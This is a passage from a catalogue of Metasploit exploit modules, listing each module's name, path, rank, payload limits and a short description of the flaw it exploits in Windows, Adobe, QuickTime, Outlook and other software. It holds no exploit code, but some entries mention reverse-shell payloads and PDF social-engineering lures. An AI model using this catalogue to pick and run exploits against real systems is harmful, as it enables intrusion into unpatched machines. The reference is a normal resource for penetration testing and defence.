Description:
  This module exploits a stack buffer overflow in the Yahoo! Messenger
ActiveX
  Control (YVerInfo.dll <= 2006.8.24.1). By sending an overly long
string
  to the "fvCom()" method from a yahoo.com domain, an attacker may be
able
  to execute arbitrary code.
```

```
End Exploit Number 1526

Begin Exploit Number 1527
       Name: Yahoo! Messenger 8.1.0.249 ActiveX Control Buffer
Overflow
     Module: exploit/windows/browser/yahoomessenger_server
   Platform: Windows
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Good
  Disclosed: 2007-06-05

Payload information:
  Space: 800
  Avoid: 6 characters

Description:
  This module exploits a stack buffer overflow in the Yahoo! Webcam
Upload ActiveX
  Control (ywcupl.dll) provided by Yahoo! Messenger version 8.1.0.249.
  By sending an overly long string to the "Server()" method, and then
calling
  the "Send()" method, an attacker may be able to execute arbitrary
code.
  Using the payloads "windows/shell_bind_tcp" and "windows/
shell_reverse_tcp"
  yield for the best results.

End Exploit Number 1527

Begin Exploit Number 1528
       Name: Zenturi ProgramChecker ActiveX Control Arbitrary File
Download
     Module: exploit/windows/browser/zenturiprogramchecker_unsafe
   Platform: Windows
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2007-05-29

Payload information:
  Space: 2048

Description:
  This module allows remote attackers to place arbitrary files on a
users file system
  via the Zenturi ProgramChecker sasatl.dll (1.5.0.531) ActiveX
Control.
```

```
End Exploit Number 1528

Begin Exploit Number 1529
       Name: AdminStudio LaunchHelp.dll ActiveX Arbitrary Code
Execution
     Module: exploit/windows/browser/zenworks_helplauncher_exec
   Platform: Windows
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Normal
  Disclosed: 2011-10-19

Payload information:
  Space: 1024
  Avoid: 1 characters

Description:
  This module exploits a vulnerability in AdminStudio LaunchHelp.dll
ActiveX control. The
  LaunchProcess function found in LaunchHelp.HelpLauncher.1 allows
remote attackers to run
  arbitrary commands on the victim machine. This module has been
successfully tested with the
  ActiveX installed with AdminStudio 9.5, which also comes with Novell
ZENworks Configuration
  Management 10 SP2, on IE 6 and IE 8 over Windows XP SP 3.

End Exploit Number 1529

Begin Exploit Number 1530
       Name: Print Spooler Remote DLL Injection
     Module: exploit/windows/dcerpc/cve_2021_1675_printnightmare
   Platform: 
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Normal
  Disclosed: 2021-06-08

Payload information:

Description:
  The print spooler service can be abused by an authenticated remote
attacker to load a DLL through a crafted
  DCERPC request, resulting in remote code execution as NT
AUTHORITY\SYSTEM. This module uses the MS-RPRN
  vector which requires the Print Spooler service to be running.
```

```
End Exploit Number 1530

Begin Exploit Number 1531
       Name: MS03-026 Microsoft RPC DCOM Interface Overflow
     Module: exploit/windows/dcerpc/ms03_026_dcom
   Platform: Windows
       Arch: 
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Great
  Disclosed: 2003-07-16

Payload information:
  Space: 880
  Avoid: 7 characters

Description:
  This module exploits a stack buffer overflow in the RPCSS service, 
this vulnerability
  was originally found by the Last Stage of Delirium research group 
and has been
  widely exploited ever since. This module can exploit the English 
versions of
  Windows NT 4.0 SP3-6a, Windows 2000, Windows XP, and Windows 2003 
all in one request :)

End Exploit Number 1531

Begin Exploit Number 1532
       Name: MS05-017 Microsoft Message Queueing Service Path Overflow
     Module: exploit/windows/dcerpc/ms05_017_msmq
   Platform: Windows
       Arch: 
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Good
  Disclosed: 2005-04-12

Payload information:
  Space: 1024
  Avoid: 8 characters

Description:
  This module exploits a stack buffer overflow in the RPC interface
  to the Microsoft Message Queueing service. The offset to the
  return address changes based on the length of the system
  hostname, so this must be provided via the 'HNAME' option.
  Much thanks to snort.org and Jean-Baptiste Marchand's
  excellent MSRPC website.
```

```
End Exploit Number 1532

Begin Exploit Number 1533
       Name: MS07-029 Microsoft DNS RPC Service extractQuotedChar()
Overflow (TCP)
     Module: exploit/windows/dcerpc/ms07_029_msdns_zonename
   Platform: Windows
       Arch: 
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Great
  Disclosed: 2007-04-12

Payload information:
  Space: 500
  Avoid: 1 characters

Description:
  This module exploits a stack buffer overflow in the RPC interface
  of the Microsoft DNS service. The vulnerability is triggered
  when a long zone name parameter is supplied that contains
  escaped octal strings. This module is capable of bypassing NX/DEP
  protection on Windows 2003 SP1/SP2.

End Exploit Number 1533

Begin Exploit Number 1534
       Name: MS07-065 Microsoft Message Queueing Service DNS Name Path
Overflow
     Module: exploit/windows/dcerpc/ms07_065_msmq
   Platform: Windows
       Arch: 
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Good
  Disclosed: 2007-12-11

Payload information:
  Space: 1024
  Avoid: 8 characters

Description:
  This module exploits a stack buffer overflow in the RPC interface
  to the Microsoft Message Queueing service. This exploit requires
  the target system to have been configured with a DNS name and
  for that name to be supplied in the 'DNAME' option. This name does
  not need to be served by a valid DNS server, only configured on
  the target machine.

End Exploit Number 1534
```

```
Begin Exploit Number 1535
       Name: Windows ANI LoadAniIcon() Chunk Size Stack Buffer
Overflow (SMTP)
     Module: exploit/windows/email/ms07_017_ani_loadimage_chunksize
   Platform: Windows
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Great
  Disclosed: 2007-03-28

Payload information:
  Space: 1331

Description:
  This module exploits a buffer overflow vulnerability in the
  LoadAniIcon() function of USER32.dll. The flaw is triggered
  through Outlook Express by using the CURSOR style sheet
  directive to load a malicious .ANI file.

  This vulnerability was discovered by Alexander Sotirov of Determina
  and was rediscovered, in the wild, by McAfee.

End Exploit Number 1535

Begin Exploit Number 1536
       Name: Outlook ATTACH_BY_REF_ONLY File Execution
     Module: exploit/windows/email/ms10_045_outlook_ref_only
   Platform: Windows
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2010-06-01

Payload information:
  Space: 1024

Description:
  It has been discovered that certain e-mail message cause Outlook to
create Windows
  shortcut-like attachments or messages within Outlook. Through
specially crafted TNEF
  streams with certain MAPI attachment properties, it is possible to
set a path name
  to files to be executed. When a user double clicks on such an
attachment or message,
  Outlook will proceed to execute the file that is set by the path
name value. These
```

```
  files can be local files, but also files stored remotely (on a file
share, for example)
  can be used. Exploitation is limited by the fact that it is not
possible for attackers
  to supply command line options.

End Exploit Number 1536

Begin Exploit Number 1537
       Name: Outlook ATTACH_BY_REF_RESOLVE File Execution
     Module: exploit/windows/email/ms10_045_outlook_ref_resolve
   Platform: Windows
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2010-06-01

Payload information:
  Space: 1024

Description:
  It has been discovered that certain e-mail message cause Outlook to
create Windows
  shortcut-like attachments or messages within Outlook. Through
specially crafted TNEF
  streams with certain MAPI attachment properties, it is possible to
set a path name
  to files to be executed. When a user double clicks on such an
attachment or message,
  Outlook will proceed to execute the file that is set by the path
name value. These
  files can be local files, but also file stored remotely for example
on a file share.
  Exploitation is limited by the fact that its is not possible for
attackers to supply
  command line options.

End Exploit Number 1537

Begin Exploit Number 1538
       Name: EMC AlphaStor Agent Buffer Overflow
     Module: exploit/windows/emc/alphastor_agent
   Platform: Windows
       Arch: 
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Great
  Disclosed: 2008-05-27
```

```
Payload information:
  Space: 750
  Avoid: 4 characters

Description:
  This module exploits a stack buffer overflow in EMC AlphaStor 3.1.
  By sending a specially crafted message, an attacker may
  be able to execute arbitrary code.

End Exploit Number 1538

Begin Exploit Number 1539
       Name: EMC AlphaStor Device Manager Opcode 0x75 Command
Injection
     Module: exploit/windows/emc/alphastor_device_manager_exec
   Platform: Windows
       Arch: x86
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2013-01-18

Payload information:
  Space: 2048

Description:
  This module exploits a flaw within the Device Manager (rrobtd.exe).
When parsing the 0x75
  command, the process does not properly filter user supplied input
allowing for arbitrary
  command injection. This module has been tested successfully on EMC
AlphaStor 4.0 build 116
  with Windows 2003 SP2 and Windows 2008 R2.

End Exploit Number 1539

Begin Exploit Number 1540
       Name: EMC Networker Format String
     Module: exploit/windows/emc/networker_format_string
   Platform: Windows
       Arch: 
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Normal
  Disclosed: 2012-08-29

Payload information:
  Avoid: 5 characters

Description:
  This module exploits a format string vulnerability in the lg_sprintf
function
  as implemented in liblocal.dll on EMC Networker products. This
module exploits the
  vulnerability by using a specially crafted RPC call to the program
number 0x5F3DD,
  version 0x02, and procedure 0x06. This module has been tested
successfully on EMC
  Networker 7.6 SP3 on Windows XP SP3 and Windows 2003 SP2 (DEP
bypass).

End Exploit Number 1540

Begin Exploit Number 1541
       Name: EMC Replication Manager Command Execution
     Module: exploit/windows/emc/replication_manager_exec
   Platform: Windows
       Arch: x86
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Great
  Disclosed: 2011-02-07

Payload information:
  Space: 4096

Description:
  This module exploits a remote command-injection vulnerability in EMC
Replication Manager
  client (irccd.exe). By sending a specially crafted message invoking
RunProgram function an
  attacker may be able to execute arbitrary commands with SYSTEM
privileges. Affected
  products are EMC Replication Manager < 5.3. This module has been
successfully tested
  against EMC Replication Manager 5.2.1 on XP/W2003. EMC Networker
Module for Microsoft
  Applications 2.1 and 2.2 may be vulnerable too although this module
have not been tested
  against these products.

End Exploit Number 1541

Begin Exploit Number 1542
       Name: A-PDF WAV to MP3 v1.0.0 Buffer Overflow
     Module: exploit/windows/fileformat/a_pdf_wav_to_mp3
   Platform: Windows
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
```

```
       Rank: Normal
  Disclosed: 2010-08-17

Payload information:
  Space: 600
  Avoid: 2 characters

Description:
  This module exploits a buffer overflow in A-PDF WAV to MP3 v1.0.0. 
When
  the application is used to import a specially crafted m3u file, a 
buffer overflow occurs
  allowing arbitrary code execution.

End Exploit Number 1542

Begin Exploit Number 1543
       Name: ABBS Audio Media Player .LST Buffer Overflow
     Module: exploit/windows/fileformat/abbs_amp_lst
   Platform: Windows
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Normal
  Disclosed: 2013-06-30

Payload information:
  Avoid: 3 characters

Description:
  This module exploits a buffer overflow in ABBS Audio Media Player. 
The vulnerability
  occurs when adding a specially crafted .lst file, allowing arbitrary 
code execution with the privileges
  of the user running the application. This module has been tested 
successfully on
  ABBS Audio Media Player 3.1 over Windows XP SP3 and Windows 7 SP1.

End Exploit Number 1543

Begin Exploit Number 1544
       Name: ACDSee FotoSlate PLP File id Parameter Overflow
     Module: exploit/windows/fileformat/acdsee_fotoslate_string
   Platform: Windows
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Good
  Disclosed: 2011-09-12
```

```
Payload information:
  Avoid: 2 characters

Description:
  This module exploits a buffer overflow in ACDSee FotoSlate 4.0 Build 
146 via
  a specially crafted id parameter in a String element.  When viewing 
a malicious
  PLP file with the ACDSee FotoSlate product, a remote attacker could 
overflow a
  buffer and execute arbitrary code. This exploit has been tested on 
systems such as
  Windows XP SP3, Windows Vista, and Windows 7.

End Exploit Number 1544

Begin Exploit Number 1545
       Name: ACDSee XPM File Section Buffer Overflow
     Module: exploit/windows/fileformat/acdsee_xpm
   Platform: Windows
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Good
  Disclosed: 2007-11-23

Payload information:
  Space: 750
  Avoid: 1 characters

Description:
  This module exploits a buffer overflow in ACDSee 9.0.
  When viewing a malicious XPM file with the ACDSee product,
  a remote attacker could overflow a buffer and execute
  arbitrary code.

End Exploit Number 1545

Begin Exploit Number 1546
       Name: ActiveFax (ActFax) 4.3 Client Importer Buffer Overflow
     Module: exploit/windows/fileformat/actfax_import_users_bof
   Platform: Windows
       Arch: 
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Normal
  Disclosed: 2012-08-28

Payload information:
  Space: 4000
  Avoid: 0 characters

Description:
  This module exploits a vulnerability in ActiveFax Server. The 
vulnerability is
  a stack based buffer overflow in the "Import Users from File" 
function, due to the
  insecure usage of strcpy while parsing the csv formatted file. The 
module creates a
  .exp file that must be imported with ActiveFax Server. It must be 
imported with the
  default character set 'ECMA-94 / Latin 1 (ISO 8859)'. The module has 
been tested
  successfully on ActFax Server 4.32 over Windows XP SP3 and Windows 7 
SP1. In the
  Windows XP case, when ActFax runs as a service, it will execute as 
SYSTEM.

End Exploit Number 1546

Begin Exploit Number 1547
       Name: activePDF WebGrabber ActiveX Control Buffer Overflow
     Module: exploit/windows/fileformat/activepdf_webgrabber
   Platform: Windows
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Low
  Disclosed: 2008-08-26

Payload information:
  Space: 1024
  Avoid: 1 characters

Description:
  This module exploits a stack buffer overflow in activePDF WebGrabber 
3.8. When
  sending an overly long string to the GetStatus() method of 
APWebGrb.ocx (3.8.2.0)
  an attacker may be able to execute arbitrary code. This control is 
not marked safe
  for scripting, so choose your attack vector accordingly.

End Exploit Number 1547

Begin Exploit Number 1548
       Name: Adobe Collab.collectEmailInfo() Buffer Overflow
     Module: exploit/windows/fileformat/adobe_collectemailinfo
   Platform: Windows
       Arch: 
```

```
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Good
  Disclosed: 2008-02-08

Payload information:
  Space: 1024
  Avoid: 1 characters

Description:
  This module exploits a buffer overflow in Adobe Reader and Adobe
Acrobat Professional 8.1.1.
  By creating a specially crafted pdf that a contains malformed
Collab.collectEmailInfo() call,
  an attacker may be able to execute arbitrary code.

End Exploit Number 1548

Begin Exploit Number 1549
       Name: Adobe CoolType SING Table "uniqueName" Stack Buffer
Overflow
     Module: exploit/windows/fileformat/adobe_cooltype_sing
   Platform: Windows
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Great
  Disclosed: 2010-09-07

Payload information:
  Space: 1000
  Avoid: 1 characters

Description:
  This module exploits a vulnerability in the Smart INdependent
Glyplets (SING) table
  handling within versions 8.2.4 and 9.3.4 of Adobe Reader. Prior
versions are
  assumed to be vulnerable as well.

End Exploit Number 1549

Begin Exploit Number 1550
       Name: Adobe Flash Player "Button" Remote Code Execution
     Module: exploit/windows/fileformat/adobe_flashplayer_button
   Platform: Windows
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Normal
  Disclosed: 2010-10-28

Payload information:
  Space: 1000
  Avoid: 1 characters

Description:
  This module exploits a vulnerability in the handling of certain SWF
movies
  within versions 9.x and 10.0 of Adobe Flash Player. Adobe Reader and
Acrobat
  are also vulnerable, as are any other applications that may embed
Flash player.

  Arbitrary code execution is achieved by embedding a specially
crafted Flash
  movie into a PDF document. An AcroJS heap spray is used in order to
ensure
  that the memory used by the invalid pointer issue is controlled.

  NOTE: This module uses a similar DEP bypass method to that used
within the
  adobe_libtiff module. This method is unlikely to work across various
  Windows versions due to a hardcoded syscall number.

End Exploit Number 1550

Begin Exploit Number 1551
       Name: Adobe Flash Player "newfunction" Invalid Pointer Use
     Module: exploit/windows/fileformat/adobe_flashplayer_newfunction
   Platform: Windows
       Arch:
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Normal
  Disclosed: 2010-06-04

Payload information:
  Space: 1000
  Avoid: 1 characters

Description:
  This module exploits a vulnerability in the DoABC tag handling
within
  versions 9.x and 10.0 of Adobe Flash Player. Adobe Reader and
Acrobat are also
  vulnerable, as are any other applications that may embed Flash
player.

  Arbitrary code execution is achieved by embedding a specially
```

```
crafted Flash
  movie into a PDF document. An AcroJS heap spray is used in order to
ensure
  that the memory used by the invalid pointer issue is controlled.

  NOTE: This module uses a similar DEP bypass method to that used
within the
  adobe_libtiff module. This method is unlikely to work across various
  Windows versions due a the hardcoded syscall number.

End Exploit Number 1551

Begin Exploit Number 1552
       Name: Adobe FlateDecode Stream Predictor 02 Integer Overflow
     Module: exploit/windows/fileformat/adobe_flatedecode_predictor02
   Platform: Windows
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Good
  Disclosed: 2009-10-08

Payload information:
  Space: 1024
  Avoid: 1 characters

Description:
  This module exploits an integer overflow vulnerability in Adobe
Reader and Adobe
  Acrobat Professional versions before 9.2.

End Exploit Number 1552

Begin Exploit Number 1553
       Name: Adobe Collab.getIcon() Buffer Overflow
     Module: exploit/windows/fileformat/adobe_geticon
   Platform: Windows
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Good
  Disclosed: 2009-03-24

Payload information:
  Space: 1024
  Avoid: 1 characters

Description:
  This module exploits a buffer overflow in Adobe Reader and Adobe
Acrobat.
```

```
  Affected versions include < 7.1.1, < 8.1.3, and < 9.1. By creating a
specially
  crafted pdf that a contains malformed Collab.getIcon() call, an
attacker may
  be able to execute arbitrary code.

End Exploit Number 1553

Begin Exploit Number 1554
       Name: Adobe Illustrator CS4 v14.0.0
     Module: exploit/windows/fileformat/adobe_illustrator_v14_eps
   Platform: Windows
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Great
  Disclosed: 2009-12-03

Payload information:
  Space: 1000
  Avoid: 4 characters

Description:
  Adobe Illustrator CS4 (V14.0.0) Encapsulated Postscript (.eps)
  overlong DSC Comment Buffer Overflow Exploit

End Exploit Number 1554

Begin Exploit Number 1555
       Name: Adobe JBIG2Decode Memory Corruption
     Module: exploit/windows/fileformat/adobe_jbig2decode
   Platform: Windows
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Good
  Disclosed: 2009-02-19

Payload information:
  Space: 1024
  Avoid: 0 characters

Description:
  This module exploits a heap-based pointer corruption flaw in Adobe
Reader 9.0.0 and earlier.
  This module relies upon javascript for the heap spray.

End Exploit Number 1555

Begin Exploit Number 1556
```

```
       Name: Adobe Acrobat Bundled LibTIFF Integer Overflow
     Module: exploit/windows/fileformat/adobe_libtiff
   Platform: Windows
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Good
  Disclosed: 2010-02-16

Payload information:
  Space: 1024
  Avoid: 1 characters

Description:
  This module exploits an integer overflow vulnerability in Adobe 
Reader and Adobe Acrobat
  Professional versions 8.0 through 8.2 and 9.0 through 9.3.

End Exploit Number 1556

Begin Exploit Number 1557
       Name: Adobe Doc.media.newPlayer Use After Free Vulnerability
     Module: exploit/windows/fileformat/adobe_media_newplayer
   Platform: Windows
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Good
  Disclosed: 2009-12-14

Payload information:
  Space: 1024
  Avoid: 1 characters

Description:
  This module exploits a use after free vulnerability in Adobe Reader 
and Adobe Acrobat
  Professional versions up to and including 9.2.

End Exploit Number 1557

Begin Exploit Number 1558
       Name: Adobe PDF Embedded EXE Social Engineering
     Module: exploit/windows/fileformat/adobe_pdf_embedded_exe
   Platform: Windows
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2010-03-29
```

```
Payload information:
  Space: 2048

Description:
  This module embeds a Metasploit payload into an existing PDF file.
The
  resulting PDF can be sent to a target as part of a social
engineering attack.

End Exploit Number 1558

Begin Exploit Number 1559
       Name: Adobe PDF Escape EXE Social Engineering (No JavaScript)
     Module: exploit/windows/fileformat/adobe_pdf_embedded_exe_nojs
   Platform: Windows
       Arch:
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2010-03-29

Payload information:
  Space: 2048

Description:
  This module embeds a Metasploit payload into an existing PDF file in
  a non-standard method. The resulting PDF can be sent to a target as
  part of a social engineering attack.

End Exploit Number 1559

Begin Exploit Number 1560
       Name: Adobe Reader U3D Memory Corruption Vulnerability
     Module: exploit/windows/fileformat/adobe_reader_u3d
   Platform: Windows
       Arch:
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Average
  Disclosed: 2011-12-06

Payload information:
  Space: 1000
  Avoid: 1 characters

Description:
  This module exploits a vulnerability in the U3D handling within
  versions 9.x through 9.4.6 and 10 through to 10.1.1 of Adobe Reader.
  The vulnerability is due to the use of uninitialized memory.
  Arbitrary code execution is achieved by embedding specially crafted
U3D
  data into a PDF document. A heap spray via JavaScript is used in
order to
  ensure that the memory used by the invalid pointer issue is
controlled.

End Exploit Number 1560

Begin Exploit Number 1561
       Name: Adobe Reader ToolButton Use After Free
     Module: exploit/windows/fileformat/adobe_toolbutton
   Platform: Windows
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Normal
  Disclosed: 2013-08-08

Payload information:
  Space: 1024
  Avoid: 1 characters

Description:
  This module exploits a use after free condition on Adobe Reader
versions 11.0.2, 10.1.6
  and 9.5.4 and prior. The vulnerability exists while handling the
ToolButton object, where
  the cEnable callback can be used to early free the object memory.
Later use of the object
  allows triggering the use after free condition. This module has been
tested successfully
  on Adobe Reader 11.0.2, 10.0.4 and 9.5.0 on Windows XP SP3, as
exploited in the wild in
  November, 2013.

End Exploit Number 1561

Begin Exploit Number 1562
       Name: Adobe U3D CLODProgressiveMeshDeclaration Array Overrun
     Module: exploit/windows/fileformat/adobe_u3d_meshdecl
   Platform: Windows
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Good
  Disclosed: 2009-10-13

Payload information:
  Space: 1024
  Avoid: 1 characters

Description:
  This module exploits an array overflow in Adobe Reader and Adobe
Acrobat.
  Affected versions include < 7.1.4, < 8.2, and < 9.3. By creating a
  specially crafted pdf that a contains malformed U3D data, an
attacker may
  be able to execute arbitrary code.

End Exploit Number 1562

Begin Exploit Number 1563
       Name: Adobe util.printf() Buffer Overflow
     Module: exploit/windows/fileformat/adobe_utilprintf
   Platform: Windows
       Arch:
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Good
  Disclosed: 2008-02-08

Payload information:
  Space: 1024
  Avoid: 1 characters

Description:
  This module exploits a buffer overflow in Adobe Reader and Adobe
Acrobat Professional
  < 8.1.3. By creating a specially crafted pdf that a contains
malformed util.printf()
  entry, an attacker may be able to execute arbitrary code.

End Exploit Number 1563

Begin Exploit Number 1564
       Name: ALLPlayer M3U Buffer Overflow
     Module: exploit/windows/fileformat/allplayer_m3u_bof
   Platform: Windows
       Arch:
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Normal
  Disclosed: 2013-10-09

Payload information:
  Space: 3060
  Avoid: 33 characters
```

```
Description:
  This module exploits a stack-based buffer overflow vulnerability in
  ALLPlayer 5.8.1, caused by a long string in a playlist entry.
  By persuading the victim to open a specially-crafted .M3U file, a
  remote attacker could execute arbitrary code on the system or cause
  the application to crash. This module has been tested successfully
on
  Windows 7 SP1.

End Exploit Number 1564

Begin Exploit Number 1565
       Name: Altap Salamander 2.5 PE Viewer Buffer Overflow
     Module: exploit/windows/fileformat/altap_salamander_pdb
   Platform: Windows
       Arch:
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Good
  Disclosed: 2007-06-19

Payload information:
  Space: 1024
  Avoid: 12 characters

Description:
  This module exploits a buffer overflow in Altap Salamander <= v2.5.
  By creating a malicious file and convincing a user to view the file
with
  the Portable Executable Viewer plugin within a vulnerable version of
  Salamander, the PDB file string is copied onto the stack and the
  SEH can be overwritten.

End Exploit Number 1565

Begin Exploit Number 1566
       Name: AOL Desktop 9.6 RTX Buffer Overflow
     Module: exploit/windows/fileformat/aol_desktop_linktag
   Platform: Windows
       Arch:
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Normal
  Disclosed: 2011-01-31

Payload information:
  Space: 400
  Avoid: 5 characters

Description:
  This module exploits a vulnerability found in AOL Desktop 9.6's
Tool\rich.rct
  component. By supplying a long string of data in the hyperlink tag,
rich.rct copies
  this data into a buffer using a strcpy function, which causes an
overflow, and
  results arbitrary code execution.

End Exploit Number 1566

Begin Exploit Number 1567
       Name: AOL 9.5 Phobos.Playlist Import() Stack-based Buffer
Overflow
     Module: exploit/windows/fileformat/aol_phobos_bof
   Platform: Windows
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Average
  Disclosed: 2010-01-20

Payload information:
  Space: 1024
  Avoid: 6 characters

Description:
  This module exploits a stack-based buffer overflow within Phobos.dll
of AOL 9.5.
  By setting an overly long value to 'Import()', an attacker can
overrun a buffer
  and execute arbitrary code.

  NOTE: This ActiveX control is NOT marked safe for scripting or
initialization.

End Exploit Number 1567

Begin Exploit Number 1568
       Name: Apple QuickTime PICT PnSize Buffer Overflow
     Module: exploit/windows/fileformat/apple_quicktime_pnsize
   Platform: Windows
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Good
  Disclosed: 2011-08-08

Payload information:
  Space: 750
  Avoid: 0 characters
```

```
Description:
  This module exploits a vulnerability in Apple QuickTime Player
7.60.92.0.
  When opening a .mov file containing a specially crafted PnSize
value, an attacker
  may be able to execute arbitrary code.

End Exploit Number 1568

Begin Exploit Number 1569
       Name: Apple Quicktime 7 Invalid Atom Length Buffer Overflow
     Module: exploit/windows/fileformat/apple_quicktime_rdrf
   Platform: Windows
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Normal
  Disclosed: 2013-05-22

Payload information:
  Avoid: 1 characters

Description:
  This module exploits a vulnerability found in Apple QuickTime. The
flaw is
  triggered when QuickTime fails to properly handle the data length
for certain
  atoms such as 'rdrf' or 'dref' in the Alis record, which may result
a buffer
  overflow by loading a specially crafted .mov file, and allows
arbitrary
  code execution under the context of the current user. Please note:
Since an egghunter
  is used to search for the payload, this may require additional time
for
  the exploit to complete.

End Exploit Number 1569

Begin Exploit Number 1570
       Name: Apple QuickTime TeXML Style Element Stack Buffer Overflow
     Module: exploit/windows/fileformat/apple_quicktime_texml
   Platform: Windows
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Normal
  Disclosed: 2012-05-15
```

```
Payload information:
  Avoid: 6 characters

Description:
  This module exploits a vulnerability found in Apple QuickTime. When
handling
  a TeXML file, it is possible to trigger a stack-based buffer
overflow, and then
  gain arbitrary code execution under the context of the user.  This
is due to the
  QuickTime3GPP.gtx component not handling certain Style subfields
properly, storing
  user-supplied data on the stack, which results the overflow.

End Exploit Number 1570

Begin Exploit Number 1571
       Name: AudioCoder .M3U Buffer Overflow
     Module: exploit/windows/fileformat/audio_coder_m3u
   Platform: Windows
       Arch:
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Normal
  Disclosed: 2013-05-01

Payload information:
  Space: 6596
  Avoid: 5 characters

Description:
  This module exploits a buffer overflow in AudioCoder 0.8.18. The
vulnerability
  occurs when adding an .m3u, allowing arbitrary code execution with
the privileges
  of the user running AudioCoder. This module has been tested
successfully on
  AudioCoder 0.8.18.5353 over Windows XP SP3 and Windows 7 SP1.

End Exploit Number 1571

Begin Exploit Number 1572
       Name: Audio Workstation 6.4.2.4.3 pls Buffer Overflow
     Module: exploit/windows/fileformat/audio_wkstn_pls
   Platform: Windows
       Arch:
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Good
  Disclosed: 2009-12-08
```

```
Payload information:
  Space: 4100
  Avoid: 1 characters

Description:
  This module exploits a buffer overflow in Audio Workstation
6.4.2.4.3.
  When opening a malicious pls file with the Audio Workstation,
  a remote attacker could overflow a buffer and execute
  arbitrary code.

End Exploit Number 1572

Begin Exploit Number 1573
       Name: Audiotran 1.4.1 (PLS File) Stack Buffer Overflow
     Module: exploit/windows/fileformat/audiotran_pls
   Platform: Windows
       Arch:
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Good
  Disclosed: 2010-01-09

Payload information:
  Space: 6000
  Avoid: 3 characters

Description:
  This module exploits a stack-based buffer overflow in Audiotran
1.4.1.
  An attacker must send the file to victim and the victim must open
the file.
  Alternatively it may be possible to execute code remotely via an
embedded
  PLS file within a browser, when the PLS extension is registered to
Audiotran.
  This functionality has not been tested in this module.

End Exploit Number 1573

Begin Exploit Number 1574
       Name: Audiotran PLS File Stack Buffer Overflow
     Module: exploit/windows/fileformat/audiotran_pls_1424
   Platform: Windows
       Arch:
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Good
  Disclosed: 2010-09-09
```

```
Payload information:
  Space: 5000
  Avoid: 4 characters

Description:
  This module exploits a stack-based buffer overflow in Audiotran
1.4.2.4.
  An attacker must send the file to victim and the victim must open
the file.
  Alternatively, it may be possible to execute code remotely via an
embedded
  PLS file within a browser when the PLS extension is registered to
Audiotran.
  This alternate vector has not been tested and cannot be exercised
directly
  with this module.

End Exploit Number 1574

Begin Exploit Number 1575
       Name: Aviosoft Digital TV Player Professional 1.0 Stack Buffer
Overflow
     Module: exploit/windows/fileformat/aviosoft_plf_buf
   Platform: Windows
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Good
  Disclosed: 2011-11-09

Payload information:
  Avoid: 3 characters

Description:
  This module exploits a vulnerability found in Aviosoft Digital TV
Player
  Pro version 1.x.  An overflow occurs when the process copies the
content of a
  playlist file on to the stack, which may result arbitrary code
execution under
  the context of the user.

End Exploit Number 1575

Begin Exploit Number 1576
       Name: BACnet OPC Client Buffer Overflow
     Module: exploit/windows/fileformat/bacnet_csv
   Platform: Windows
       Arch: 
```

```
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Good
  Disclosed: 2010-09-16

Payload information:
  Space: 698
  Avoid: 194 characters

Description:
  This module exploits a stack buffer overflow in SCADA
  Engine BACnet OPC Client v1.0.24. When the BACnet OPC Client
  parses a specially crafted csv file, arbitrary code may be
  executed.

